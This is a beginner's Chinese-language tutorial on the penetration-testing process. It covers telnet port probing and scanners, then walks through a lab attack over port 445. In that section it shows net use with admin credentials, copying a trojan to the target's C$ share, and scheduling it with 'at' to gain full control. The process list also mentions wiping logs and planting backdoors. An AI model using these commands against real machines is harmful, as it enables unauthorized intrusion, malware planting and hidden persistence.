渗透测试的流程
- 获得授权:正规渗透测试都是需要厂商签署授权协议,并指定授权范围和需求的。未经授权的渗透测试都是不合法的。详情参考道哥的这篇回答
- 信息收集:收集渗透所需的相关信息,例如渗透目标的IP地址,或者利用社会工程学获取到目标相关信息等。
- 扫描漏洞:用扫描器扫描目标设备开放的端口,高级扫描器可以扫描出目标系统或网站存在的漏洞。
- 漏洞利用:编写漏洞利用代码,通过漏洞提升权限。
- 提权:获取shell环境,就是俗称的GetShell,拿到攻击目标的最高控制权。
抹除痕迹:清除目标系统的日志,访问历史记录等留后门:通过木马留下后门,方便下次进入- 渗透测试报告:指出授权方存在的漏洞,并给出解决思路
以上为渗透的一个常见流程,下面会介绍一些入门级的手法,好对渗透有个形象的理解。
telnet命令
在Windows的命令行中执行telnet IP地址 测试端口
,可以测试目标主机开放了哪些端口号。端口未打开时会显示连接失败,端口打开时会进入黑屏或者要求输入账号密码。
扫描工具
通过telnet命令一条条试比较浪费时间,因此可以依靠扫描工具,针对指定IP范围进行端口扫描,下图为scanport扫描的结果。
后面的文章会介绍到nmap,它是一款非常强大的扫描器,甚至可以针对不同版本的系统扫描出未修复的漏洞。
445端口
根据先前的学习,了解到445端口提供共享服务。但这个端口也会引发较大的安全问题,下面来看一个简短的利用过程。执行如下指令:
Code
1 | net use \\10.1.1.1\ipc$ 123.com /user:administrator |
- 10.1.1.1:靶机IP地址。
- ipc$:空连接。
- 123.com:靶机管理员密码。
- administrator:靶机管理员账号。
这个指令有什么用呢。执行完后,会与靶机建立连接,此时可以直接操纵靶机的磁盘和文件,例如执行指令dir \\10.1.1.1\c$
,就可以列出靶机C盘下的所有文件(注意这里要用隐藏共享格式)。
接下来,就可以利用工具制作木马(例如灰鸽子,没找到能用的,就不演示了),并将其植入,例如执行copy c:\trojan.exe "\\10.1.1.1\c$\Program Files"
将木马复制到靶机的Program Files目录下。然后可以先通过指令net time \\10.1.1.1
获取靶机系统的当前时间,再通过指令at \\10.1.1.1 15:30 "c:\Program Files\trojan.exe"
给靶机安排一个定时任务,从而执行被植入的木马。木马执行后,获得对靶机的最高权限,就可以在灰鸽子客户端对靶机进行任意操纵。